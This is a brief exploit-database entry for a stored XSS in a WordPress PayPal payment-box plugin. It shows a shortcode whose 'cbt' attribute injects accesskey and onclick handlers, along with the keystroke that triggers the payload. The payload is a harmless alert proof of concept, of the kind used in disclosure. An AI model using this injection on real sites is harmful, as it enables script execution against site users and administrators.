## https://sploitus.com/exploit?id=WPEX-ID:AAB5D803-D621-4B12-A901-FF4447334D88
[wp_paypal_payment_box_for_any_amount email='admin@localhost.org' description='XSS' cbt='" accesskey="X" onclick="alert(1)"']
Click Alt + Shift + X in Firefox to trigger the XSS.
More information about access keys: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/accesskey